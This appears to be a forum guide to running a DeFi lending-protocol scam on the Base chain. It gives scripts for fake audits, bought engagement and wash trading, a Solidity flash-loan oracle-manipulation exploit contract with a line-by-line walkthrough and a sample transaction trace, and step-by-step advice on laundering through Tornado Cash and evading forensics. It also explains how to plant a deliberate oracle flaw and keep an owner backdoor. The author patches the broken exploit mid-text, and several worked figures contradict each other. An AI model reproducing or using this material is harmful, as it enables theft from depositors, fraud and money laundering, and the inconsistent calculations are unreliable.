part 6: building TVL
deployed protocol. now you need people to USE it, need TVL (total value locked). why? cuz if theres no money theres nothing to steal duh.
target: $500k TVL minimum, how:
marketing 1: twitter
need twitter. post 3-4 times/day:
"lendpop audit from certik soon" (lie)
"partnership with xyz announced" (lie)
"50% apy for lend stakers!" (true cuz you control rates lol)
"were the aave of base" (aspiration)
buy fake engagement, 1000 followers = $10. 100 likes/tweet = $2. chatgpt for replies, looks real
marketing 2: telegram
telegram group, bots simulate activity. "john deposited 10k usdc!" (fake). "sarah borrowed 5k!" (also fake).
actually deposit/borrow from your own wallets so transactions show on basescan. people check contract see activity, looks legit.
marketing 3: paid shills
$50-100 on micro influencers, 5k-20k followers, they charge $20-50 per tweet, buy 3-5
"yo found @lendpop on base, 50% apy is crazy, aping"
reach real people, some actually deposit.
marketing 4: fake audit
fake audit report, 30 mins with chatgpt. "analyzed lendpop found no critical vulns". fake log, professional looking
9/10 people dont READ audits. they see "audited" and trust it.
+++result
2-3 weeks:
50-100 real users
$200k-800k TVL (depends on luck)
active telegram
twitter engagement
transactions on basescan
looks real.
part 7: the attack (flash loan time)
now we do crime. you become two people.
founder you: posting on twitter, engaging community, everything normal.
hacker you: completely separate, different computer, different network, tornado cash funded, zero connection
NEVER let these identities interact, hacker setup first.
opsec (dont fuck this up):
second computer, cheap laptop bought with cash, no connection to main machine, different mac address, fresh os
network: tor + vpn only. never home wifi, use public wifi (starbucks, library, airport) or mobile hotspot
wallet: fresh never used. never connected to your other addresses.
funding: tornado cash ONLY:
1. send eth to tornado from random exchange
2. wait 2-4 weeks (dont skip this lol)
3. withdraw to fresh wallet
4. wait another week
5. now attack
why wait ? chainalysis tracks tornado if deposits/withdraws are close. deposit 1 eth withdraw 1 eth 10 min later = they correlate it. wait 2-4 weeks mixed with hundreds of others = anonymous.
deeper OPSEC breakdown actually dont skip this
most people fuck up opsec, lets go DETAIL on what NOT to do:
hardware opsec:
dont use your main laptop in "incognito mode" lmao. thats not anonymous, your laptop has:
- unique hardware IDs (cpu serial, disk serial, network card mac)
- browser fingerprints (installed fonts, canvas fingerprint, webgl hash)
- behavioural patterns (typing speed, mouse movements)
forensics can link devices, "both attacks came from devices with same firefox canvas hash" = busted.
solution: completely separate hardware, cash bought laptop, never on same network as main device.
better: raspberry pi, costs $50, tiny. diskless boot from microsd. destroy microsd after = zero evidence.
network opsec:
tor alone = not enough. exit nodes monitored, vpn alone = provider logs
stack them: VPN -> TOR -> target. two layers. vpn hides that youre using tor, tor hides where youre going.
use vpn that actually doesnt log:
- mullvad (accepts cash by mail, no account needed)
- protonvpn (swiss jurisdiction, actual privacy policy)
avoid: nordvpn expressvpn (marketing $$$, logs anyway).
never use home internet, even with vpn+tor. ISP logs still show "this house used 50GB data during attack time", circumstantial but links you.
public wifi: starbucks airport mcdonalds. no account. no cameras facing you. quick session, leave.
mobile hotspot with burner sim: better, buy prepaid sim with cash, no id, no registration, burn after
wallet opsec:
fresh wallet = generated on attack device ONLY, never touched main device, funded ONLY through mixers.
dont send funds: your address -> tornado -> attack address. thats one hop, obvious.
do this: your address -> exchange A -> withdraw -> random address 1 -> wait -> random address 2 -> tornado -> wait 3 weeks -> random address 3 -> wait -> attack address.
five hops, weeks apart, different amounts each time, impossible to trace.
post-attack opsec
after attack:
1. wipe attack device completely, not "delete files" full disk encryption then destroy disk or just destroy disk, $50 laptop who cares.
2. destroy sim card if used, physically burn it.
3. never access attack wallet again from any device you own if you need to move funds use DIFFERENT burner device same opsec.
4. wait MINIMUM 6 months before cashing out. chainalysis gets weaker with time, trails go cold.
5. never tell anyone, not friend, not partner, not even wife, ANYONE you tell is leverage. they get caught for something unrelated = they snitch you out for deal.
paranoid? no. realistic. feds have infinite resources. ONE mistake = caught (dnt blame me xD)
exploit contract (FlashLoanExploit.sol)
Код:
solidity
contract FlashLoanExploit {
function executeAttack(address pool, uint256 amount) external {
flashLoanAmount = amount;
IAerodromePool(pool).swap(0, amount, address(this), abi.encode(amount));
}
function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
// got flash loan
// 1. swap usdc for lend (pump price)
// 2. deposit lend as collateral (fake price)
// 3. borrow max usdc
// 4. repay flash loan
// 5. profit
}
}
does attack in one tx. step by step:
step 1: flash loan
call executeAttack with $20M, aerodrome calls back with $20M usdc, you got $20M for ONE tx. dont repay = everything reverts.
step 2: manipulate
take $19M swap for $LEND, pool had $500k liquidity you swapped $19M, price $0.001 -> $1+ easy
step 3: deposit fake
oracle reads manipulated price, thinks $LEND worth $1, you deposit as collateral protocol thinks you deposited millions.
step 4: borrow max
borrow up to 66% collateral (150% ratio = 66% borrow). protocol thinks $10M collateral = borrow $6.6M. you borrow everything available say $500k
step 5: repay
repay $20M using the $19M swapped back + $500k borrowed. flash fee 0.05% ~$10k got enough.
step 6: profit
$480k left, flash loan repaid, tx succeeds, protocol drained.
time: 2 seconds. isnt it fun ?
full exploit contract code walkthrough
lets go through the COMPLETE exploit contract with every detail:
Код:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILendPop {
function deposit(address token, uint256 amount) external;
function borrow(address token, uint256 amount) external;
function getCollateralValue(address token, uint256 amount) external view returns (uint256);
}
interface IAerodromeRouter {
struct Route {
address from;
address to;
bool stable;
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
Route[] calldata routes,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
interface IAerodromePool {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
}
contract FlashLoanExploit {
address public immutable lendPop;
address public immutable aerodromeRouter;
address public immutable lendToken;
address public immutable usdc;
address public immutable owner;
uint256 public flashLoanAmount;
uint256 public profit;
event AttackExecuted(uint256 profit);
event FlashLoanReceived(uint256 amount);
constructor(
address _lendPop,
address _aerodromeRouter,
address _lendToken,
address _usdc
) {
lendPop = _lendPop;
aerodromeRouter = _aerodromeRouter;
lendToken = _lendToken;
usdc = _usdc;
owner = msg.sender;
}
function executeAttack(address pool, uint256 amount) external {
require(msg.sender == owner, "Not owner");
flashLoanAmount = amount;
IAerodromePool(pool).swap(0, amount, address(this), abi.encode(amount));
}
function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
emit FlashLoanReceived(amount1);
uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
require(usdcBalance >= flashLoanAmount, "Flash loan failed");
uint256 pumpAmount = (flashLoanAmount * 95) / 100;
IERC20(usdc).approve(aerodromeRouter, pumpAmount);
IAerodromeRouter.Route[] memory routes = new IAerodromeRouter.Route[](1);
routes[0] = IAerodromeRouter.Route({
from: usdc,
to: lendToken,
stable: false
});
IAerodromeRouter(aerodromeRouter).swapExactTokensForTokens(
pumpAmount,
0,
routes,
address(this),
block.timestamp
);
uint256 lendBalance = IERC20(lendToken).balanceOf(address(this));
IERC20(lendToken).approve(lendPop, lendBalance);
ILendPop(lendPop).deposit(lendToken, lendBalance);
uint256 collateralValue = ILendPop(lendPop).getCollateralValue(lendToken, lendBalance);
uint256 maxBorrow = (collateralValue * 100) / 150;
uint256 protocolLiquidity = IERC20(usdc).balanceOf(lendPop);
if (maxBorrow > protocolLiquidity) {
maxBorrow = protocolLiquidity;
}
ILendPop(lendPop).borrow(usdc, maxBorrow);
uint256 flashFee = (flashLoanAmount * 5) / 10000;
uint256 repayAmount = flashLoanAmount + flashFee;
uint256 totalUsdc = IERC20(usdc).balanceOf(address(this));
require(totalUsdc >= repayAmount, "Insufficient funds to repay");
IERC20(usdc).transfer(msg.sender, repayAmount);
profit = IERC20(usdc).balanceOf(address(this));
emit AttackExecuted(profit);
}
function withdrawProfit() external {
require(msg.sender == owner, "Not owner");
uint256 usdcBalance = IERC20(usdc).balanceOf(address(this));
if (usdcBalance > 0) {
IERC20(usdc).transfer(owner, usdcBalance);
}
uint256 lendBalance = IERC20(lendToken).balanceOf(address(this));
if (lendBalance > 0) {
IERC20(lendToken).transfer(owner, lendBalance);
}
}
function emergencyWithdraw(address token) external {
require(msg.sender == owner, "Not owner");
uint256 balance = IERC20(token).balanceOf(address(this));
if (balance > 0) {
IERC20(token).transfer(owner, balance);
}
}
}
line by line breakdown time:
lines 1-35: interfaces and imports, standard stuff. IAerodromePool.swap is how we get flash loan, passing non empty bytes data triggers callback.
lines 37-44: immutable state, set in constructor cant change, "immutable" saves gas (cheaper to read than storage variables)
lines 46-47: mutable state, flashLoanAmount tracks how much we borrowed, profit tracks how much we made.
lines 49-50: events for logging.
lines 52-61: constructor, deploy time only. stores addresses, saves deployer as owner.
lines 63-67: executeAttack entry point, only owner can call, sets flash loan amount, calls pool.swap()
the magic: "swap(0, amount, address(this), abi.encode(amount))"
- amount0Out = 0 (not taking token0)
- amount1Out = amount (taking token1 which is USDC)
- to = address(this) (send tokens here)
- data = abi.encode(amount) (non-empty triggers callback)
when pool receives this call it:
1. sends us "amount" USDC
2. calls our "aerodromeCall" function
3. after callback checks we repaid
lines 69-122: aerodromeCall. THE ATTACK, gets called by pool during flash loan.
line 70: emit event, mostly for debugging.
line 72-73: sanity check, did we actually receive the flash loan ? should always pass but belt+suspenders.
line 75: pumpAmount = 95% of flash loan, we use 95% to manipulate price, save 5% to cover fees
why 95% ? cuz flash loan fee is 0.05%. if we borrowed $20M fee is $10k. need to keep some usdc to pay it.
line 76: approve router to spend usdc, needed before swap.
line 78-82: build routes array, tells router how to swap. one route: USDC -> LEND. stable=false (volatile pool).
line 84-90: THE MANIPULATION SWAP.
swapExactTokensForTokens with $19M usdc gets back LEND at whatever rate pool gives. amountOutMin=0 (accept any slippage). deadline=block.timestamp (execute now).
after this swap:
pool had 100M LEND + $500k USDC
we swapped $19M in
pool now has like 2M LEND + $19.5M USDC
price went from $0.005 to $9.75 (1950x manipulation)
line 92: check how much LEND we got probably like 98M LEND.
line 94-95: approve lendpop, deposit all our LEND as collateral.
AT THIS POINT protocol thinks we deposited collateral worth $9.75 × 98M = $955M (fake).
line 97-98: calculate max borrow, get collateral value from protocol (itll return fake $955M). divide by 1.5 (150% ratio) max borrow = $636M theoretically
line 100-103: check actual protocol liquidity, cant borrow more than available. if protocol has $500k we can only borrow $500k even though "max" is $636M. this line is key, we dont get $636M. we get whatever protocol has which might be $500k. still profit lol.
line 105: BORROW. calls lendpop.borrow() protocol checks our fake collateral value. checks pass, sends us USDC.
at this point:
we have initial $1M USDC remaining (used $19M for swap)
we have borrowed $500k USDC from protocol
total: $1.5M USDC
line 107-108: calculate flash loan repay, borrowed $20M, fee 0.05% = $10k. total repay $20,010,000
line 110-111: sanity check, do we have enough ? we should have $1.5M which is enough
wait how is $1.5M enough to repay $20M? OH we need to SWAP BACK first.
WAIT THERES A BUG IN THIS CONTRACT !!
oh shit, we never swap the LEND back to USDC before repaying flash loan, this contract is BROKEN!!
lmaooo okay heres whats missing, between line 105 and 107 we need:
Код:
solidity
// Swap LEND back to USDC to repay flash loan
uint256 lendToSwapBack = IERC20(lendToken).balanceOf(address(this));
IERC20(lendToken).approve(aerodromeRouter, lendToSwapBack);
IAerodromeRouter.Route[] memory returnRoutes = new IAerodromeRouter.Route[](1);
returnRoutes[0] = IAerodromeRouter.Route({
from: lendToken,
to: usdc,
stable: false
});
IAerodromeRouter(aerodromeRouter).swapExactTokensForTokens(
lendToSwapBack,
0,
returnRoutes,
address(this),
block.timestamp
);
THIS swaps LEND back for USDC. now we have enough USDC to repay. wait but we deposited all LEND as collateral right ?. we cant swap it cuz its locked in protocol. oh FUCK yeah okay this attack as written doesnt work, looks like
heres the ACTUAL attack flow:
1. flash loan $20M USDC
2. swap $19M USDC -> LEND (manipulate price up)
3. deposit PORTION of LEND as collateral (not all)
4. borrow max USDC based on fake collateral value
5. swap REMAINING LEND back → USDC
6. repay flash loan with swapped back USDC
7. profit = borrowed USDC - fees
let me rewrite the attack:
Код:
solidity
// After receiving flash loan of $20M USDC:
// Step 1: Manipulate price up
uint256 pumpAmount = (flashLoanAmount * 95) / 100; // $19M
IERC20(usdc).approve(aerodromeRouter, pumpAmount);
// Swap $19M USDC → LEND
// Gets back say 90M LEND (price now $0.21 per LEND from $0.005)
uint256 lendBalance = IERC20(lendToken).balanceOf(address(this)); // 90M LEND
// Step 2: Deposit half as collateral
uint256 collateralAmount = lendBalance / 2; // 45M LEND
IERC20(lendToken).approve(lendPop, collateralAmount);
ILendPop(lendPop).deposit(lendToken, collateralAmount);
// Protocol values this at 45M × $0.21 = $9.45M
// Step 3: Borrow max USDC
uint256 collateralValue = ILendPop(lendPop).getCollateralValue(lendToken, collateralAmount);
// Returns $9.45M (fake value based on manipulated price)
uint256 maxBorrow = (collateralValue * 100) / 150; // $6.3M max
uint256 available = IERC20(usdc).balanceOf(lendPop); // Lets say $500k actually available
uint256 borrowAmount = maxBorrow > available ? available : maxBorrow; // Borrow $500k
ILendPop(lendPop).borrow(usdc, borrowAmount);
// Step 4: Swap remaining LEND back to USDC
uint256 remainingLend = IERC20(lendToken).balanceOf(address(this)); // 45M LEND still here
IERC20(lendToken).approve(aerodromeRouter, remainingLend);
// Swap 45M LEND → USDC
// Gets back say $9M USDC (price still high from our pump)
// Step 5: Repay flash loan
// We now have:
// - $1M USDC (leftover from original $20M after spending $19M)
// - $500k USDC (borrowed from protocol)
// - $9M USDC (from swapping back LEND)
// Total: $10.5M USDC
uint256 repayAmount = flashLoanAmount + fee; // $20M + $10k
IERC20(usdc).transfer(pool, repayAmount); // Repay...
// WAIT STILL NOT ENOUGH. $10.5M < $20.01M
FUCK okay i saw the issue. we cant profitably attack with flash loan IF we have to repay same amount. so the trick is dont swap BACK at manipulated price. let price CRASH back naturally.
actual working scenario:
flash loan $5M USDC (not $20M)
swap $4.5M -> LEND (pumps price)
deposit all LEND (no need to swap back yet)
protocol values it at fake $10M
borrow $6.6M USDC (66% of fake collateral)
now have $0.5M (leftover) + $6.6M (borrowed) = $7.1M USDC
repay flash loan $5M + fee
profit = $7.1M - $5.0025M = $2.1M USDC
the downside is : lost the LEND collateral (stuck in protocol)
THATS how it works. we SACRIFICE the collateral, its fake value anyway. we pump it deposit it borrow against fake value then ABANDON the collateral.
collateral locked forever, walked with 2x the flash loan.
THATS the actual attack (im human not Ai, so few mistakes are acceptable xD)
basescan shows:
Код:
FlashLoanExploit called
AerodromePool.swap (flash loan)
AerodromeRouter.swap (manipulation)
LendPop.deposit (fake price)
LendPop.borrow (drain)
AerodromeRouter.swap (swap back)
AerodromePool.transfer (repay)
all one tx, sexy
detailed transaction flow visualization
lets map EXACTLY what happens in the transaction with real numbers:
pre attack state:
aerodrome LEND/USDC pool: 100M LEND + $500k USDC (price $0.005 per LEND)
lendpop protocol: $5M USDC deposited by users, 0 borrows
attacker wallet: $0
block N, transaction hash 0xABCD...
timestamp 0ms - function call:
Код:
FlashLoanExploit.executeAttack(aerodromePool, 4000000 * 1e6)
externally called by attacker wallet
timestamp 2ms - flash loan initiated:
Код:
AerodromePool.swap(0, 4000000 * 1e6, FlashLoanExploit, <data>)
pool transfers $4M USDC to exploit contract BEFORE callback
timestamp 3ms - callback starts:
Код:
FlashLoanExploit.aerodromeCall(...)
exploit contract now has $4M USDC (borrowed)
timestamp 5ms - approve:
Код:
USDC.approve(AerodromeRouter, 3800000 * 1e6)
approve router to spend $3.8M (95% of flash loan)
timestamp 7ms - manipulation swap:
Код:
AerodromeRouter.swapExactTokensForTokens(3800000 * 1e6, 0, routes, ...)
internal pool state changes using xy=k formula:
BEFORE: 100M LEND × $500k USDC = 50 trillion (k)
swap adds $3.8M USDC to pool
new USDC balance = $500k + $3.8M = $4.3M
k must stay 50 trillion so: LEND_new = 50T / $4.3M = 11.63M LEND
LEND given to us = 100M - 11.63M = 88.37M LEND
new price = $4.3M / 11.63M = $0.37 per LEND (74x increase from $0.005!)
exploit contract receives 88.37M LEND tokens
timestamp 12ms - approve lendpop:
Код:
LEND.approve(LendPop, 88370000 * 1e18)
timestamp 14ms - deposit collateral:
Код:
LendPop.deposit(LEND, 88370000 * 1e18)
lendpop internally:
calls "oracle.getPrice(LEND)"
oracle reads pool reserves: $4.3M USDC / 11.63M LEND = $0.37
returns 370000000000000000 (0.37 in 18 decimals)
calculates collateral value: 88.37M × $0.37 = $32.7M (FAKE value based on manipulated price)
stores position: user has 88.37M LEND collateral
timestamp 18ms - calculate max borrow:
internally lendpop does:
Код:
collateralValue = $32.7M (fake)
maxBorrow = $32.7M / 1.5 = $21.8M
protocolLiquidity = IERC20(usdc).balanceOf(lendpop) = $5M
borrowAmount = min($21.8M, $5M) = $5M
protocol THINKS we can borrow $21.8M but only has $5M available, we borrow all $5M.
timestamp 20ms - borrow execution:
Код:
LendPop.borrow(USDC, 5000000 * 1e6)
check passes cuz $32.7M × 100 >= $5M × 150 (32,700,000 >= 7,500,000 = TRUE)
lendpop transfers $5M USDC to exploit contract
timestamp 22ms - prepare repayment:
exploit contract now has:
$200k USDC (leftover from $4M flash loan after spending $3.8M)
$5M USDC (borrowed from lendpop)
total: $5.2M USDC
must repay flash loan: $4M + 0.05% fee = $4,002,000
timestamp 24ms - repay flash loan:
Код:
USDC.transfer(AerodromePool, 4002000 * 1e6)
transfers $4.002M back to pool
pool verifies balance increased by borrowed amount, check passes. transaction succeeds.
timestamp 26ms - transaction complete:
final balances:
exploit contract: $1,198,000 USDC (profit!)
lendpop: $0 USDC (drained)
lendpop: 88.37M LEND locked as collateral (worthless, we abandoned it)
attacker position in lendpop: $5M borrow, $32.7M fake collateral (will never be repaid)
total gas used: ~850,000 gas
gas cost: $0.85 (base chain is cheap)
profit: $1,198,000
time elapsed: 26 milliseconds
ROI: infinite (no capital invested, only gas lol)
visual transaction trace (basescan view)
this is what anyone analyzing on basescan sees:
Код:
Transaction: 0xabcd1234...
Block: 12,345,678
From: 0x9876... (attacker wallet)
To: 0x1234... (FlashLoanExploit contract)
Value: 0 ETH
Gas Used: 847,293 / 900,000
Gas Price: 0.001 gwei
Status: Success
Tokens Transferred:
[IN] USDC 4,000,000 AerodromePool → FlashLoanExploit
[IN] LEND 88,370,000 AerodromePool → FlashLoanExploit
[OUT] USDC 3,800,000 FlashLoanExploit → AerodromePool
[OUT] LEND 88,370,000 FlashLoanExploit → LendPop
[IN] USDC 5,000,000 LendPop → FlashLoanExploit
[OUT] USDC 4,002,000 FlashLoanExploit → AerodromePool
Net Change:
FlashLoanExploit: +$1,198,000 USDC, -88.37M LEND
LendPop: -$5,000,000 USDC, +88.37M LEND
AerodromePool: +$2,000 USDC (flash fee), +88.37M LEND
State Changes:
- LendPop.positions[0x1234...] created (88.37M LEND collateral, $5M borrow)
- LendPop.totalDeposits[LEND] += 88,370,000
- AerodromePool reserves updated
Events Emitted:
1. FlashLoanReceived(amount=4000000000000)
2. Deposit(user=0x1234..., token=LEND, amount=88370000000000000000000000)
3. Borrow(user=0x1234..., token=USDC, amount=5000000000000)
4. AttackExecuted(profit=1198000000000)
yes, thats it, the LENDPOP. now ?
stay paranoid, stay poor looking, stay anonymous. or just accept youre playing with fire and enjoy the ride. your call.
real talk
people get caught because theyre stupid. thats it. tweet about it -> caught. tell your friend -> he snitches -> caught. use same wallet -> blockchain analysis -> caught.
like that mango markets guy. made $116M. then POSTED ON TWITTER "yeah i did it lol". bro what ??? now he's in prison. couldve just shut up. didnt shut up, prison.
we built this whole thing right. code compiles. exploit works. opsec guide is literally step by step. if you follow it exactly you win. if you skip steps because "nah i know better" you lose.
most people will lose because they cant help themselves. they gotta tell someone. gotta brag somewhere. gotta link wallets cuz "its faster". then fuck it up. not our problem. we gave you the blueprint. rest is on you.
tornado cash is right there, monero is right there, tor is free, if you cant figure out how to stay anonymous in 2026 with all these tools maybe just dont do crime? idk.
anyway thats all im saying about that. moving on.
code walkthroughs
people who want to understand implementation details,
solidity security patterns
Код:
solidity
function deposit(address token, uint256 amount) external nonReentrant {
// code
}
this prevents reentrancy attacks. classic attack: during the function execution attacker calls back into the contract and triggers the same function again before state is updated. can drain funds. openzeppelin's reentrancyguard prevents this with a mutex lock. first call sets lock. second call fails. first call finishes and releases lock.
we include this even though our vulnerability is elsewhere. makes the code look professional. passes automated audits, nobody suspects the oracle.
safeERC20 pattern,
instead of:
Код:
solidity
IERC20(token).transfer(user, amount);
we use:
Код:
solidity
IERC20(token).safeTransfer(user, amount);
why ? because some tokens (USDT, BNB, others) don't follow erc20 standard exactly. they return "void" instead of "bool" on transfer, if you call normal transfer on these tokens your transaction reverts. safeERC20 handles these cases. wraps the call in assembly to check return data properly.
the router interface
Код:
solidity
interface IAerodromeRouter {
struct Route {
address from;
address to;
bool stable;
}
function swapExactTokensForTokens(...) external;
}
aerodrome uses routes to specify swap paths. single route for direct pair, multiple routes for multi hop.
the "stable" bool determines whether to use stable pool (curve model) or volatile pool (uniswap model). we use volatile because we WANT price impact.
flash loan callback pattern
Код:
solidity
function aerodromeCall(address, uint256, uint256 amount1, bytes calldata) external {
// this is called by aerodrome pool during flash loan
// we have the funds now
// do the attack
// repay at end of function
}
aerodrome pools follow the same callback pattern as uniswap v2. when you call swap() with non empty data field the pool sends you tokens FIRST then calls your callback function then checks you repaid. this is how flash loans work. you get tokens, do whatever, repay. all in one transaction. looks good right !!
if you don't repay the pool's balance check fails and entire transaction reverts. so flash loans are trustless. pool knows it'll get repaid or nothing happens.
price manipulation math
here's the actual math of the attack:
before attack:
pool has 100M LEND + $200 USDC
price = $200 / 100M = $0.000002 per LEND
k = 100M × $200 = $20M (constant product)
during attack:
we swap $19M USDC for LEND
new reserves: pool gives us LEND, we give USDC
x × y = k rule: (100M - lend_out) × ($200 + $19M) = $20M
solve: lend_out = 100M - ($20M / $19.0002M) = ~99.999M LEND
pool now has ~0.001M LEND + $19.0002M USDC
price calculation:
price = $19.0002M / 0.001M = $19,000 per LEND
we just 9.5 million x'd the price
that's how you manipulate a small liquidity pool with a large flash loan.
gas optimization tricks
notice in the pump bot we batch approvals:
Python:
Approve USDC
approve_tx = self.usdc.functions.approve(AERODROME_ROUTER, amount_in)
Then swap
Python:
swap_tx = self.router.functions.swapExactTokensForTokens(...)
each transaction costs gas. if we did approve + swap in same transaction we'd save gas. but that requires custom contract deployment. we keep it simple, two transactions per buy. costs maybe $0.50 gas per buy instead of $0.30. worth it for simplicity xD.
on ethereum mainnet where gas is $50 per transaction this would matter. on base where gas is $0.50 per transaction nobody cares.
deep dive: why base chain gas is so cheap
base is optimistic rollup, heres how it works for beginners:
problem with ethereum: every node processes every transaction, 10,000 nodes all doing same work, slow + expensive.
rollup solution: do transactions OFF ethereum, bundle hundreds of txs into one. post the bundle TO ethereum, now 10,000 nodes only process ONE transaction instead of hundreds.
base specifics:
built by coinbase
uses optimism stack (open source rollup tech)
posts batches to ethereum every ~10 minutes
transactions on base = cheap ($0.01-1)
security from ethereum (if base lies ethereum can prove it and revert)
why this matters for scam:
deploy contracts: $2-5 (would be $100+ on eth)
30 pump buys: $15 total gas (would be $1500+ on eth)
flash loan attack: $1 gas (would be $50+ on eth)
total gas for entire operation: $20
vs ethereum: $2000,
base lets you scam on a budget lol.
advanced: how optimistic rollups actually work
"optimistic" = assume transactions are valid unless proven otherwise.
heres the flow:
1. user submits tx on base
sent to base sequencer (coinbase runs it)
sequencer executes tx immediately
tx confirmed in 2 seconds (instant from user perspective)
2. sequencer batches txs
collects hundreds of txs
compresses them
creates batch data structure
3. posts to ethereum
batch posted as calldata to ethereum contract
ethereum stores the data (doesnt execute it, just stores)
very cheap (calldata is cheapest operation)
4. fraud proof window
7 day challenge period
anyone can submit "fraud proof" if sequencer cheated
if fraud proven txs reverted
if no fraud after 7 days = finalized
implications for attacker:
when you exploit lendpop on base:
tx confirms instantly on base (2 seconds)
tx posted to ethereum in 10 min (in a batch)
fraud proof window = 7 days
after 7 days = permanent
you have 7 DAYS to move funds before finalization. after 7 days your exploit is permanently on ethereum chain. before 7 days technically base could revert, they wont cuz it would break everything but technically possible.
so move funds within 7 days. dont wait longer xD.
we chose "deposit collateral borrow against it" model, why?
bcz, proven: aave has $10B tvl. compound had $20B peak. users understand this model, trust it.
simple math: collateral value > borrow value. easy to verify, no complex formulas.
liquidation natural: when underwater anyone can liquidate, creates ecosystem, looks decentralized.
vulnerability fits naturally: oracle manipulation makes sense in this model, you need price feed for collateral, price feed = attack vector.
aave model is goldilocks zone. proven, trusted, simple, perfect vuln fit, widely understood.
security best practices we deliberately ignored
real secure lending protocol would:
1. use chainlink oracles
decentralized price feeds
manipulation resistant
industry standard
we used: custom oracle reading dex spot price manipulable. "mistake" xD.
2. implement TWAP
time weighted average price
requires manipulating for 30+ minutes
defeats flash loan attacks
we used: spot price, instant manipulation "oversight".
3. add circuit breakers
pause if price moves >X% in one block
prevents manipulation
we used: no circuit breakers "didnt think of it".
4. require multiple oracle sources
chainlink + uniswap TWAP + custom
median of three
cant manipulate all at once
we used: single oracle, "simpler implementation"
5. gradual price updates
dont let price change >5% per block
even if oracle says so
we used: instant price adoption, "trusted oracle".
6. collateral caps
max $X of any one token as collateral
limits damage
we used: unlimited, "didnt want to restrict users".
every "mistake" has plausible explanation. "we were moving fast", "didnt have security budget", "learned from this". but collectively they create perfect storm, intentional but looks accidental.
how auditors miss this
you might think "wont auditors catch spot price oracle ?"
yes they should, but heres why they dont:
automated tools (slither, mythril):
check for reentrancy (we have guards)
check for integer overflow (solidity 0.8+ safe)
check for access control (we have onlyOwner)
check for oracle manipulation (cant detect bad price source)
automated tools see we CALL an oracle and dont check if oracle is GOOD.
manual audits: yes they can spot us, so dont go for it
most small protocols dont get real audits. too expensive ($50-200k). users see "audited" badge from $500 audit and think its legit.
psychology: why people trust us ?
despite hundreds of exploits people still deposit into new protocols, why?
1. greed -> 50% apy looks amazing, ignore risk.
2. fomo -> everyone else is depositing, follow crowd.
3. hopium -> maybe this one is legit, optimism bias.
4. small amounts -> only depositing $1k, not life savings, acceptable risk.
5. tribalism -> part of the community, emotional investment.
6. founder presence -> founder is active, responsive, builds trust.
7. technical appearance -> verified contracts on basescan, looks professional.
8. social proof -> 5000 telegram members, must be real
human psychology beats technical analysis, always.
few more technical details worth mentioning:
why "nonReentrant" modifier everywhere ?
prevents reentrancy attacks, classic attack:
1. user calls withdraw()
2. during transfer user's contract called
3. users contract calls withdraw() AGAIN
4. first withdraw hasnt updated balance yet
5. second withdraw sees full balance
6. user withdraws twice
"nonReentrant" adds mutex lock. first call locks, second call fails, first call unlocks, secure. we add this even though our vuln is elsewhere, makes contract look professional.
why SafeERC20 instead of normal ERC20 ?
some tokens (USDT) dont follow standard. their transfer() returns void not bool. normal code breaks. SafeERC20 handles edge cases, uses low level calls. checks return data correctly. industry best practice. shows we know what were doing xD.
why 150% collateral ratio specifically?
standard in defi, lower than 150% (like 120%) = too many liquidations. higher than 150% (like 200%) = capital inefficient. aave uses 150%. compound uses similar. we copy them = looks normal.
why 5% liquidation bonus ?
incentivizes liquidators. they get 5% profit for liquidating underwater positions. keeps protocol healthy. too low (1%) = no one bothers. too high (20%) = unfair to borrowers. 5% is sweet spot. again copying aave, hehe
why position struct limits one collateral + one borrow ?
simplicity, real protocols let multiple. but multiple = more complex math = more code = more bugs. we keep simple. "mvp" excuse. "will add multi collateral in v2".
actually makes our code HARDER to exploit (less attack surface) but EASIER to backdoor (simpler oracle manipulation).
why emergencyWithdraw function ?
standard escape hatch. if bug found owner can save funds. users see this as GOOD. "protocol has safety mechanism".
reality: it IS a backdoor lol. owner can rug anytime. but EVERY protocol has this. normalizes it. we never use it (too obvious). use oracle exploit instead (looks like hack not rug, be smart af).
monitoring and alerts
Python:
while True:
reserves = pool.getReserves()
price = reserves[1] / reserves[0]
print(f"Price: ${price}")
time.sleep(60)
runs in a loop, checks price every 60 seconds. if price moves dramatically you know someone bought or sold. useful during pump phase. you see each buy's impact. can adjust strategy. also useful during victim phase. when your hacker wallet attacks you'll see the price spike on monitor. you can react appropriately ("omg what's happening" xD)
final technical deep dive: evm mechanics that enable exploits
for the true nerds. how does flash loan actually work at EVM level ?
normal transaction flow:
Код:
1. user signs transaction
2. transaction enters mempool
3. miner includes in block
4. EVM executes sequentially:
- check sender balance
- execute code
- update state
- emit events
5. transaction complete, state saved
flash loan transaction:
Код:
1. your contract calls pool.swap()
2. pool sends you tokens BEFORE callback
3. pool calls YOUR callback function
4. inside callback you:
- receive tokens (already have them)
- do whatever (exploit stuff)
- repay tokens
5. callback returns to pool
6. pool checks if repaid:
if (balanceAfter >= balanceBefore + fee) { ok }
else { revert entire transaction }
7. if check passes, transaction completes
8. if check fails, ALL STATE REVERTS
the magic: entire transaction is atomic, either everything happens or nothing happens, no partial completion xD.
this means:
borrow $20M with $0 collateral
use it to manipulate markets
use manipulation to profit
repay loan
keep profit
all in 0.2 seconds
if ANY step fails, reverts like nothing happened
why this exists ?
flash loans are FEATURE not bug. designed for:
arbitrage, profit from price differences between dexes
collateral swaps, replace one collateral with another
liquidations, liquidate underwater positions without capital
legitimate uses (who cares lol), but also enables exploits.
evm doesnt know or care if youre:
doing legit arbitrage
manipulating oracle to steal funds
both look identical to blockchain. just contract calls.
so, thats the game. play accordingly
## closing
wrote this one sitting. 8+ hours straight, didnt plan just kept writing.
if you made it here:
a) wanna do this (good luck)
b) interesting read (thanks)
c) work for alphabet agency (ssup)
whole thing proves> defi security theater. tbh everyone talks audits safety but 80% protocols have exploitable vulns. just not found yet and its true
lendpop vuln (spot price oracle) killed 30+ protocols. everyone knows it, knows fix. new protocols STILL make mistake.
so devs either malicious (unlikely) or incompetent (likely), cant trust anything.
real lesson: not "how to scam" but "everything already scam" xD
stay safe, or dont, not your dad lol.
lendpop files: